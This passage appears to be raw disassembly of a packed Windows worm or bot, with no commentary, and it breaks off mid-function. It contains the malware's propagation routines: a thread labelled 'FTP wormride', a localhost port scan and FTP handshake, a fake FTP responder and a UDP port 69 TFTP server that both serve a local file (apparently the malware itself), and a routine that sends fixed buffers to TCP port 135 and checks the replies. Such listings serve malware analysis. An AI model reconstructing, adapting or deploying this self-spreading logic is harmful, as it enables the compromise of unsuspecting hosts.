sub_40D3D6 proc near ; DATA XREF: .packed:00417F5Co
; .packed:00417FD0o
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
call sub_40CEBE
pop ecx
test eax, eax
pop ecx
jnz short locret_40D3F3
push eax
push [esp+4+arg_0]
call sub_40CEBE
pop ecx
pop ecx
locret_40D3F3: ; CODE XREF: sub_40D3D6+Fj
retn
sub_40D3D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D3F4 proc near ; CODE XREF: sub_40D42D+131p
; sub_40D42D+15Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_40D422
loc_40D405: ; CODE XREF: sub_40D3F4+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41178A ; memcmp
add esp, 0Ch
test eax, eax
jz short loc_40D428
inc esi
cmp esi, edi
jl short loc_40D405
loc_40D422: ; CODE XREF: sub_40D3F4+Fj
xor eax, eax
loc_40D424: ; CODE XREF: sub_40D3F4+37j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40D428: ; CODE XREF: sub_40D3F4+27j
push 1
pop eax
jmp short loc_40D424
sub_40D3F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D42D proc near ; CODE XREF: sub_40BC10+19p
; sub_40CEBE+68p ...
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_411540
mov eax, [ebp+arg_4]
push ebx
push esi
dec eax
push edi
jz short loc_40D478
dec eax
jz short loc_40D44E
dec eax
loc_40D447: ; CODE XREF: sub_40D42D+61j
xor eax, eax
loc_40D449: ; CODE XREF: sub_40D42D+49j
; sub_40D42D+176j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40D44E: ; CODE XREF: sub_40D42D+17j
push 2710h
push 0
push offset a5000 ; "5000"
push [ebp+arg_0]
call sub_403C04
mov esi, eax
push esi
call sub_403D70
mov eax, esi
add esp, 14h
neg eax
sbb eax, eax
and eax, 3
jmp short loc_40D449
; ---------------------------------------------------------------------------
loc_40D478: ; CODE XREF: sub_40D42D+14j
push 6
push 1
push 2
call dword_41222C ; socket
mov edi, eax
or ebx, 0FFFFFFFFh
cmp edi, ebx
mov [ebp+arg_4], edi
jz short loc_40D447
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_4114E8 ; memset
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_412248 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_412254 ; inet_addr
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_412208 ; connect
cmp eax, ebx
jz loc_40D598
push esi
push 48h
push offset dword_416B88
push edi
call dword_412220 ; send
cmp eax, ebx
jz loc_40D598
mov edi, 2000h
push esi
mov esi, dword_412258
lea eax, [ebp+var_2010]
push edi
push eax
push [ebp+arg_4]
call esi ; recv
cmp eax, ebx
jnz short loc_40D512
loc_40D50B: ; CODE XREF: sub_40D42D+ECj
; sub_40D42D+102j ...
xor esi, esi
jmp loc_40D598
; ---------------------------------------------------------------------------
loc_40D512: ; CODE XREF: sub_40D42D+DCj
cmp [ebp+var_200E], 0Ch
jnz short loc_40D50B
push 0
push 18h
push offset dword_416BD4
push [ebp+arg_4]
call dword_412220 ; send
cmp eax, ebx
jz short loc_40D50B
push 0
lea eax, [ebp+var_2010]
push edi
push eax
push [ebp+arg_4]
call esi ; recv
mov esi, eax
cmp esi, ebx
jz short loc_40D50B
cmp [ebp+var_200E], 2
jnz short loc_40D50B
push 10h
push offset loc_416BF0
lea eax, [ebp+var_2010]
push esi
push eax
call sub_40D3F4
add esp, 10h
test eax, eax
jz short loc_40D578
xor eax, eax
cmp esi, 12Ch
setnl al
inc eax
jmp short loc_40D596
; ---------------------------------------------------------------------------
loc_40D578: ; CODE XREF: sub_40D42D+13Bj
push 10h
push offset dword_416C04
lea eax, [ebp+var_2010]
push esi
push eax
call sub_40D3F4
add esp, 10h
neg eax
sbb eax, eax
and eax, 3
loc_40D596: ; CODE XREF: sub_40D42D+149j
mov esi, eax
loc_40D598: ; CODE XREF: sub_40D42D+A4j
; sub_40D42D+BBj ...
push [ebp+arg_4]
call dword_412240 ; closesocket
mov eax, esi
jmp loc_40D449
sub_40D42D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D5A8 proc near ; CODE XREF: sub_40BCBD+A9p
; sub_40C135+325p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_8]
xor ebx, ebx
cmp esi, ebx
push edi
jnz short loc_40D5DD
xor esi, esi
cmp [ebp+arg_4], ebx
jbe short loc_40D639
loc_40D5BE: ; CODE XREF: sub_40D5A8+31j
push 20h
push ebx
call sub_40B459
mov al, byte_416C20[eax+eax*4]
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
mov [esi+ecx], al
inc esi
cmp esi, [ebp+arg_4]
jb short loc_40D5BE
jmp short loc_40D639
; ---------------------------------------------------------------------------
loc_40D5DD: ; CODE XREF: sub_40D5A8+Dj
cmp esi, 7Fh
jnz short loc_40D608
xor esi, esi
cmp [ebp+arg_4], ebx
jbe short loc_40D639
loc_40D5E9: ; CODE XREF: sub_40D5A8+5Cj
push 5
push ebx
call sub_40B459
mov al, byte_416C20[eax+eax*4]
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
mov [esi+ecx], al
inc esi
cmp esi, [ebp+arg_4]
jb short loc_40D5E9
jmp short loc_40D639
; ---------------------------------------------------------------------------
loc_40D608: ; CODE XREF: sub_40D5A8+38j
xor edi, edi
cmp [ebp+arg_4], ebx
jbe short loc_40D639
loc_40D60F: ; CODE XREF: sub_40D5A8+8Fj
push 20h
push ebx
call sub_40B459
movsx eax, al
pop ecx
lea eax, [eax+eax*4]
pop ecx
test dword_416C21[eax], esi
jnz short loc_40D634
mov ecx, [ebp+arg_0]
mov al, byte_416C20[eax]
mov [edi+ecx], al
inc edi
loc_40D634: ; CODE XREF: sub_40D5A8+7Dj
cmp edi, [ebp+arg_4]
jb short loc_40D60F
loc_40D639: ; CODE XREF: sub_40D5A8+14j
; sub_40D5A8+33j ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40D5A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D63E proc near ; CODE XREF: sub_40D6E0+40Ap
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 200h
push ebx
push esi
push 0EA60h
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_403C04
mov ebx, eax
add esp, 10h
test ebx, ebx
jz short loc_40D687
cmp ebx, 0FFFFFFFFh
jz short loc_40D687
push offset aRb ; "rb"
push offset dword_419ECC
call sub_411506 ; fopen
mov esi, eax
pop ecx
test esi, esi
pop ecx
jnz short loc_40D68D
push ebx
call sub_403D92
pop ecx
loc_40D687: ; CODE XREF: sub_40D63E+24j
; sub_40D63E+29j
xor eax, eax
loc_40D689: ; CODE XREF: sub_40D63E+A0j
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40D68D: ; CODE XREF: sub_40D63E+40j
push edi
loc_40D68E: ; CODE XREF: sub_40D63E+7Fj
test byte ptr [esi+0Ch], 10h
jnz short loc_40D6CA
push esi
push 200h
lea eax, [ebp+var_200]
push 1
push eax
call sub_411510 ; fread
mov edi, eax
lea eax, [ebp+var_200]
push edi
push eax
push ebx
call sub_403D9D
add esp, 1Ch
cmp edi, eax
jz short loc_40D68E
push ebx
call sub_403D92
pop ecx
xor edi, edi
jmp short loc_40D6D4
; ---------------------------------------------------------------------------
loc_40D6CA: ; CODE XREF: sub_40D63E+54j
push ebx
call sub_403D70
pop ecx
push 1
pop edi
loc_40D6D4: ; CODE XREF: sub_40D63E+8Aj
push esi
call sub_411500 ; fclose
pop ecx
mov eax, edi
pop edi
jmp short loc_40D689
sub_40D63E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D6E0 proc near ; DATA XREF: sub_40DD36+CBo
var_530 = byte ptr -530h
var_330 = byte ptr -330h
var_32F = byte ptr -32Fh
var_230 = byte ptr -230h
var_30 = byte ptr -30h
var_2C = byte ptr -2Ch
var_28 = byte ptr -28h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 530h
push ebx
push esi
push edi
mov esi, 200h
push offset dword_4177D0
lea eax, [ebp+var_230]
push esi
push eax
call sub_41152E ; _snprintf
lea eax, [ebp+var_230]
push eax
call sub_4114BE ; strlen
mov ebx, [ebp+arg_0]
push eax
lea eax, [ebp+var_230]
push eax
push ebx
call sub_403D9D
mov dl, byte_4191D0
push 3Fh
pop ecx
xor eax, eax
lea edi, [ebp+var_32F]
mov [ebp+var_330], dl
rep stosd
stosw
stosb
xor eax, eax
lea edi, [ebp+var_13]
mov [ebp+var_14], dl
push 0EA60h
stosd
stosb
xor eax, eax
push ebx
mov [ebp+arg_0], eax
mov [ebp+var_18], eax
mov [ebp+var_C], eax
call sub_403E1F
add esp, 24h
loc_40D75F: ; CODE XREF: sub_40D6E0+3C2j
test eax, eax
jz loc_40DB99
lea eax, [ebp+var_530]
push esi
push eax
push ebx
call sub_403DB2
add esp, 0Ch
test eax, eax
jz loc_40DB99
cmp eax, 0FFFFFFFFh
jz loc_40DB99
lea eax, [ebp+var_C]
mov edi, offset dword_4177CC
push eax
lea eax, [ebp+var_530]
push edi
push eax
call sub_405E4F
add esp, 0Ch
mov [ebp+var_8], eax
test eax, eax
jz loc_40DA95
lea eax, [ebp+var_C]
push eax
push edi
push 0
call sub_405E4F
add esp, 0Ch
mov [ebp+var_4], eax
test eax, eax
jnz short loc_40D7CA
mov [ebp+var_4], offset byte_4191D0
loc_40D7CA: ; CODE XREF: sub_40D6E0+E1j
lea eax, [ebp+var_C]
push eax
push edi
push 0
call sub_405E4F
push [ebp+var_8]
call sub_40A64A
add esp, 10h
cmp eax, dword_4177C0
jnz short loc_40D7FA
mov [ebp+arg_0], 1
push offset dword_4177B8
jmp loc_40DA6B
; ---------------------------------------------------------------------------
loc_40D7FA: ; CODE XREF: sub_40D6E0+107j
cmp eax, dword_4177AC
jnz short loc_40D813
mov [ebp+var_18], 1
push offset dword_4177A4
jmp loc_40DA6B
; ---------------------------------------------------------------------------
loc_40D813: ; CODE XREF: sub_40D6E0+120j
cmp [ebp+arg_0], 0
jz loc_40DA95
cmp [ebp+var_18], 0
jz loc_40DA95
cmp eax, dword_417798
jnz short loc_40D839
push offset dword_417790
jmp loc_40DA6B
; ---------------------------------------------------------------------------
loc_40D839: ; CODE XREF: sub_40D6E0+14Dj
cmp eax, dword_417784
jnz short loc_40D84B
push offset dword_41777C
jmp loc_40DA6B
; ---------------------------------------------------------------------------
loc_40D84B: ; CODE XREF: sub_40D6E0+15Fj
cmp eax, dword_417774
jnz short loc_40D85D
push offset dword_417768
jmp loc_40DA6B
; ---------------------------------------------------------------------------
loc_40D85D: ; CODE XREF: sub_40D6E0+171j
cmp eax, dword_41775C
jz loc_40D8F4
cmp eax, dword_417750
jnz short loc_40D87B
push offset dword_417748
jmp loc_40DA6B
; ---------------------------------------------------------------------------
loc_40D87B: ; CODE XREF: sub_40D6E0+18Fj
cmp eax, dword_41773C
jnz short loc_40D8FE
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_30]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_28]
push eax
push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u"
push [ebp+var_4]
call sub_411522 ; sscanf
movzx eax, [ebp+var_30]
add esp, 20h
push eax
movzx eax, [ebp+var_24]
push eax
movzx eax, [ebp+var_1C]
push eax
movzx eax, [ebp+var_28]
push eax
push offset dword_413A58
lea eax, [ebp+var_330]
push 100h
push eax
call sub_41152E ; _snprintf
xor eax, eax
add esp, 1Ch
mov ah, [ebp+var_2C]
mov al, [ebp+var_20]
push eax
push offset aU_0 ; "%u"
lea eax, [ebp+var_14]
push 6
push eax
call sub_41152E ; _snprintf
add esp, 10h
loc_40D8F4: ; CODE XREF: sub_40D6E0+183j
push offset dword_417720
jmp loc_40DA6B
; ---------------------------------------------------------------------------
loc_40D8FE: ; CODE XREF: sub_40D6E0+1A1j
cmp eax, dword_417714
jnz short loc_40D97E
push offset aRb ; "rb"
push offset dword_419ECC
call sub_411506 ; fopen
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz loc_40DB99
push 2
push 0
push edi
call sub_411516 ; fseek
push edi
call sub_4114F4 ; ftell
push 0
push 0
push edi
mov [ebp+var_8], eax
call sub_411516 ; fseek
push edi
call sub_411500 ; fclose
add esp, 20h
lea eax, [ebp+var_230]
push [ebp+var_8]
push offset dword_417708
push esi
push eax
call sub_41152E ; _snprintf
lea eax, [ebp+var_230]
push eax
call sub_4114BE ; strlen
push eax
lea eax, [ebp+var_230]
push eax
push ebx
call sub_403D9D
add esp, 20h
jmp loc_40DA95
; ---------------------------------------------------------------------------
loc_40D97E: ; CODE XREF: sub_40D6E0+224j
cmp eax, dword_4176FC
jnz loc_40DAA7
push offset a150 ; "150 -\r\n"
lea eax, [ebp+var_230]
push esi
push eax
call sub_41152E ; _snprintf
lea eax, [ebp+var_230]
push eax
call sub_4114BE ; strlen
push eax
lea eax, [ebp+var_230]
push eax
push ebx
call sub_403D9D
push 2710h
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [ebp+var_330]
push eax
call sub_403C04
add esp, 2Ch
mov [ebp+var_4], eax
test eax, eax
jz loc_40DB99
cmp eax, 0FFFFFFFFh
jz loc_40DB99
push offset aRb ; "rb"
push offset dword_419ECC
call sub_411506 ; fopen
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz loc_40DB99
push 2
push 0
push edi
call sub_411516 ; fseek
push edi
call sub_4114F4 ; ftell
push 0
push 0
push edi
mov [ebp+var_8], eax
call sub_411516 ; fseek
push edi
call sub_411500 ; fclose
add esp, 20h
lea eax, [ebp+var_230]
push offset dword_419ECC
push [ebp+var_8]
push offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan 1 0:00 .\r\ndrwxr-x"...
push esi
push eax
call sub_41152E ; _snprintf
lea eax, [ebp+var_230]
push eax
call sub_4114BE ; strlen
push eax
lea eax, [ebp+var_230]
push eax
push [ebp+var_4]
call sub_403D9D
push [ebp+var_4]
call sub_403D70
add esp, 28h
push offset dword_417678
loc_40DA6B: ; CODE XREF: sub_40D6E0+115j
; sub_40D6E0+12Ej ...
lea eax, [ebp+var_230]
push esi
push eax
call sub_41152E ; _snprintf
lea eax, [ebp+var_230]
push eax
call sub_4114BE ; strlen
push eax
lea eax, [ebp+var_230]
push eax
push ebx
call sub_403D9D
add esp, 1Ch
loc_40DA95: ; CODE XREF: sub_40D6E0+C7j
; sub_40D6E0+137j ...
push 0EA60h
push ebx
call sub_403E1F
pop ecx
pop ecx
jmp loc_40D75F
; ---------------------------------------------------------------------------
loc_40DAA7: ; CODE XREF: sub_40D6E0+2A4j
cmp eax, dword_41766C
jnz loc_40DB62
push offset a150 ; "150 -\r\n"
lea eax, [ebp+var_230]
push esi
push eax
call sub_41152E ; _snprintf
lea eax, [ebp+var_230]
push eax
call sub_4114BE ; strlen
push eax
lea eax, [ebp+var_230]
push eax
push ebx
call sub_403D9D
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_330]
push eax
call sub_40D63E
add esp, 24h
test eax, eax
jz loc_40DB99
push offset dword_417678
lea eax, [ebp+var_230]
push esi
push eax
call sub_41152E ; _snprintf
lea eax, [ebp+var_230]
push eax
call sub_4114BE ; strlen
push eax
lea eax, [ebp+var_230]
push eax
push ebx
call sub_403D9D
push 1
push offset dword_419EA8
call sub_407216
add esp, 24h
lea ecx, [ebp+var_330]
inc eax
push ecx
push eax
push offset aFtp_0 ; "ftp"
push offset unk_417640
push offset dword_418E50
call sub_409659
add esp, 14h
push 3E8h
call dword_4120A4 ; Sleep
jmp short loc_40DB99
; ---------------------------------------------------------------------------
loc_40DB62: ; CODE XREF: sub_40D6E0+3CDj
cmp eax, dword_417634
jnz short loc_40DB99
push offset a221 ; "221 -\r\n"
lea eax, [ebp+var_230]
push esi
push eax
call sub_41152E ; _snprintf
lea eax, [ebp+var_230]
push eax
call sub_4114BE ; strlen
push eax
lea eax, [ebp+var_230]
push eax
push ebx
call sub_403D9D
add esp, 1Ch
loc_40DB99: ; CODE XREF: sub_40D6E0+81j
; sub_40D6E0+9Aj ...
push offset a231 ; "231 -\r\n"
lea eax, [ebp+var_230]
push esi
push eax
call sub_41152E ; _snprintf
lea eax, [ebp+var_230]
push eax
call sub_4114BE ; strlen
push eax
lea eax, [ebp+var_230]
push eax
push ebx
call sub_403D9D
push ebx
call sub_403D70
add esp, 20h
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_40D6E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DBD7 proc near ; CODE XREF: sub_40DD36+58p
var_20C = dword ptr -20Ch
var_200 = byte ptr -200h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
mov edi, [ebp+arg_0]
push 32h
push edi
call sub_403E1F
pop ecx
test eax, eax
pop ecx
jz loc_40DD30
mov esi, 200h
lea eax, [ebp+var_200]
push esi
push eax
push edi
call sub_403DB2
add esp, 0Ch
test eax, eax
jz loc_40DD30
cmp eax, 0FFFFFFFFh
jz loc_40DD30
lea eax, [ebp+var_200]
push eax
call sub_405AB9
lea eax, [ebp+var_200]
mov [esp+20Ch+var_20C], offset dword_4177F8
push eax
call sub_41177E ; strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40DD30
lea eax, [ebp+var_200]
push offset dword_4177EC
push eax
call sub_4114DC ; sprintf
lea eax, [ebp+var_200]
push eax
call sub_4114BE ; strlen
push eax
lea eax, [ebp+var_200]
push eax
push edi
call sub_403D9D
push 32h
lea eax, [ebp+var_200]
push esi
push eax
push edi
call sub_403DF6
add esp, 28h
test eax, eax
jz loc_40DD30
cmp eax, 0FFFFFFFFh
jz loc_40DD30
lea eax, [ebp+var_200]
push eax
call sub_405AB9
lea eax, [ebp+var_200]
mov [esp+20Ch+var_20C], offset dword_4177E8
push eax
call sub_41177E ; strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40DD30
call sub_40B480
push eax
lea eax, [ebp+var_200]
push offset dword_4177DC
push eax
call sub_4114DC ; sprintf
lea eax, [ebp+var_200]
push eax
call sub_4114BE ; strlen
push eax
lea eax, [ebp+var_200]
push eax
push edi
call sub_403D9D
push 32h
lea eax, [ebp+var_200]
push esi
push eax
push edi
call sub_403DF6
add esp, 2Ch
test eax, eax
jz short loc_40DD30
cmp eax, 0FFFFFFFFh
jz short loc_40DD30
lea eax, [ebp+var_200]
push eax
call sub_405AB9
lea eax, [ebp+var_200]
mov [esp+20Ch+var_20C], offset dword_4177D8
push eax
call sub_41177E ; strcmp
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40DD32
; ---------------------------------------------------------------------------
loc_40DD30: ; CODE XREF: sub_40DBD7+1Aj
; sub_40DBD7+38j ...
xor eax, eax
loc_40DD32: ; CODE XREF: sub_40DBD7+157j
pop edi
pop esi
leave
retn
sub_40DBD7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DD36 proc near ; CODE XREF: .packed:0040DE44p
var_1B0 = dword ptr -1B0h
var_1AC = byte ptr -1ACh
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
push edi
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_1B0]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
add esp, 10h
xor ebx, ebx
push 1
pop edi
loc_40DD66: ; CODE XREF: sub_40DD36+83j
lea eax, [ebp+var_8]
push 0Ah
push eax
push edi
call sub_41192A ; _itoa
push 0FFFFFFFFh
lea eax, [ebp+var_8]
push 0
push eax
push offset a127_0_0_1 ; "127.0.0.1"
call sub_403C04
mov esi, eax
add esp, 1Ch
test esi, esi
jz short loc_40DDB2
push esi
call sub_40DBD7
test eax, eax
pop ecx
jz short loc_40DDAB
lea eax, [ebp+var_8]
push 2
push eax
call sub_403644
mov ebx, eax
pop ecx
test ebx, ebx
pop ecx
jz short loc_40DDBF
loc_40DDAB: ; CODE XREF: sub_40DD36+60j
push esi
call sub_403D92
pop ecx
loc_40DDB2: ; CODE XREF: sub_40DD36+55j
inc edi
cmp edi, 0FFFFh
jb short loc_40DD66
test ebx, ebx
jnz short loc_40DDCC
loc_40DDBF: ; CODE XREF: sub_40DD36+73j
push [ebp+var_1B0]
call sub_406E6F
jmp short loc_40DE36
; ---------------------------------------------------------------------------
loc_40DDCC: ; CODE XREF: sub_40DD36+87j
mov eax, [ebp+var_1B0]
push dword ptr [eax]
lea eax, [ebp+var_1AC]
push offset unk_4177FC
push eax
call sub_4096CB
add esp, 0Ch
loc_40DDE8: ; CODE XREF: sub_40DD36+ECj
push 3E8h
push ebx
call sub_403767
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40DE18
cmp esi, 0FFFFFFFFh
jz short loc_40DE18
push esi
push offset sub_40D6E0
call sub_406C5D
pop ecx
test eax, eax
pop ecx
jnz short loc_40DE18
push esi
call sub_403D92
pop ecx
loc_40DE18: ; CODE XREF: sub_40DD36+C3j
; sub_40DD36+C8j ...
mov eax, [ebp+var_1B0]
cmp dword ptr [eax+4], 0
jz short loc_40DDE8
push ebx
call sub_40392A
push [ebp+var_1B0]
call sub_406E6F
pop ecx
loc_40DE36: ; CODE XREF: sub_40DD36+94j
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_40DD36 endp
; ---------------------------------------------------------------------------
loc_40DE40: ; DATA XREF: sub_40DE4C+3Eo
push dword ptr [esp+4]
call sub_40DD36
retn 4
; =============== S U B R O U T I N E =======================================
sub_40DE4C proc near ; CODE XREF: sub_407A76+485p
; sub_407A76:loc_407F1Bp
arg_0 = dword ptr 4
push esi
call sub_403338
test eax, eax
jnz short loc_40DE98
push 1A7h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_40DE98
push edi
mov edi, [esp+8+arg_0]
lea eax, [esi+4]
push edi
push eax
call sub_40457C
xor eax, eax
pop ecx
cmp [edi+18Bh], al
pop ecx
push offset aFtpWormrideThr ; "FTP wormride thread"
setz al
push eax
push esi
push offset loc_40DE40
call sub_406D58
add esp, 10h
pop edi
loc_40DE98: ; CODE XREF: sub_40DE4C+8j
; sub_40DE4C+19j
pop esi
retn
sub_40DE4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DE9A proc near ; DATA XREF: sub_40E243+35o
var_D7C = dword ptr -0D7Ch
var_D78 = dword ptr -0D78h
var_578 = byte ptr -578h
var_478 = dword ptr -478h
var_474 = byte ptr -474h
var_2D0 = byte ptr -2D0h
var_2CF = byte ptr -2CFh
var_2CE = byte ptr -2CEh
var_2CD = byte ptr -2CDh
var_2CC = byte ptr -2CCh
var_CC = byte ptr -0CCh
var_CB = byte ptr -0CBh
var_CA = byte ptr -0CAh
var_C9 = byte ptr -0C9h
var_4C = byte ptr -4Ch
var_3C = word ptr -3Ch
var_3A = word ptr -3Ah
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0D7Ch
push ebx
push esi
push edi
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_478]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
add esp, 10h
xor ebx, ebx
push ebx
push 2
pop esi
push esi
push esi
call dword_41222C ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jz loc_40E22E
lea eax, [ebp+var_578]
push eax
call sub_4091A7
push eax
call sub_40348C
push 10h
lea eax, [ebp+var_3C]
push ebx
push eax
call sub_4114E8 ; memset
add esp, 14h
mov [ebp+var_3C], si
push 45h
call dword_412248 ; htons
mov [ebp+var_3A], ax
lea eax, [ebp+var_578]
push eax
call dword_412254 ; inet_addr
mov [ebp+var_38], eax
lea eax, [ebp+var_10]
push 4
push eax
push 4
push 0FFFFh
push edi
mov [ebp+var_10], 1
call dword_412218 ; setsockopt
lea eax, [ebp+var_3C]
push 10h
push eax
push edi
call dword_41221C ; bind
cmp eax, 0FFFFFFFFh
jz loc_40E22E
push offset aRb ; "rb"
push offset dword_419ECC
call sub_411506 ; fopen
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jnz short loc_40DF71
push edi
jmp loc_40E228
; ---------------------------------------------------------------------------
loc_40DF71: ; CODE XREF: sub_40DE9A+CFj
mov eax, [ebp+var_478]
push dword ptr [eax]
lea eax, [ebp+var_474]
push offset unk_4178A8
push eax
call sub_4096CB
push esi
push ebx
push [ebp+arg_0]
call sub_411516 ; fseek
push [ebp+arg_0]
call sub_4114F4 ; ftell
push ebx
push ebx
push [ebp+arg_0]
mov [ebp+var_14], eax
call sub_411516 ; fseek
push 80h
lea eax, [ebp+var_CC]
push ebx
push eax
call sub_4114E8 ; memset
mov esi, dword_412260
add esp, 34h
loc_40DFC4: ; CODE XREF: sub_40DE9A+1A2j
; sub_40DE9A+1A7j ...
push 1
mov ecx, [ebp+var_4]
pop eax
mov [ebp+var_28], ebx
mov [ebp+var_2C], eax
mov [ebp+var_D7C], eax
lea eax, [ebp+var_2C]
mov [ebp+var_D78], ecx
push eax
push ebx
lea eax, [ebp+var_D7C]
push ebx
push eax
push ebx
call dword_412214 ; select
test eax, eax
jle loc_40E20D
mov al, byte_4191D0
mov ecx, 80h
mov [ebp+var_2D0], al
xor eax, eax
lea edi, [ebp+var_2CF]
mov [ebp+var_8], 10h
rep stosd
stosw
stosb
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_24]
push eax
push ebx
lea eax, [ebp+var_CC]
push 80h
push eax
push [ebp+var_4]
call dword_412268 ; recvfrom
cmp eax, ebx
jz short loc_40DFC4
cmp eax, 0FFFFFFFFh
jz short loc_40DFC4
cmp [ebp+var_CC], bl
jnz loc_40E1F9
cmp [ebp+var_CB], 1
jnz loc_40E0F7
lea eax, [ebp+var_CA]
push eax
call sub_4114BE ; strlen
mov edi, offset aOctet ; "octet"
lea eax, [ebp+eax+var_C9]
push edi
mov [ebp+var_C], eax
call sub_4114BE ; strlen
push eax
push [ebp+var_C]
push edi
call sub_411570 ; strncmp
add esp, 14h
test eax, eax
jz short loc_40E0A2
push [ebp+var_8]
lea eax, [ebp+var_24]
push eax
push ebx
push 13h
push offset dword_41788C
jmp loc_40E208
; ---------------------------------------------------------------------------
loc_40E0A2: ; CODE XREF: sub_40DE9A+1F2j
push ebx
push ebx
push [ebp+arg_0]
call sub_411516 ; fseek
push [ebp+arg_0]
lea eax, [ebp+var_2CC]
mov [ebp+var_2D0], bl
mov [ebp+var_2CF], 3
push 200h
push 1
push eax
mov [ebp+var_2CE], bl
mov [ebp+var_2CD], 1
call sub_411510 ; fread
add esp, 1Ch
lea ecx, [ebp+var_24]
add eax, 4
push [ebp+var_8]
push ecx
push ebx
push eax
lea eax, [ebp+var_2D0]
push eax
jmp loc_40E208
; ---------------------------------------------------------------------------
loc_40E0F7: ; CODE XREF: sub_40DE9A+1BCj
cmp [ebp+var_CB], 4
jnz loc_40E1F9
mov cl, [ebp+var_C9]
mov al, [ebp+var_CA]
cmp cl, 0FFh
mov [ebp+var_2D0], bl
mov [ebp+var_2CF], 3
jnz short loc_40E134
inc al
xor cl, cl
mov [ebp+var_2CE], al
mov [ebp+var_2CD], bl
jmp short loc_40E142
; ---------------------------------------------------------------------------
loc_40E134: ; CODE XREF: sub_40DE9A+286j
inc cl
mov [ebp+var_2CE], al
mov [ebp+var_2CD], cl
loc_40E142: ; CODE XREF: sub_40DE9A+298j
movzx eax, al
movzx ecx, cl
shl eax, 8
push ebx
lea eax, [eax+ecx-1]
shl eax, 9
push eax
mov [ebp+var_C], eax
push [ebp+arg_0]
call sub_411516 ; fseek
push [ebp+arg_0]
lea eax, [ebp+var_2CC]
push 200h
push 1
push eax
call sub_411510 ; fread
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_24]
push [ebp+var_8]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_2D0]
push eax
push [ebp+var_4]
call esi ; sendto
cmp edi, ebx
jnz short loc_40E20D
mov eax, [ebp+var_C]
cmp eax, [ebp+var_14]
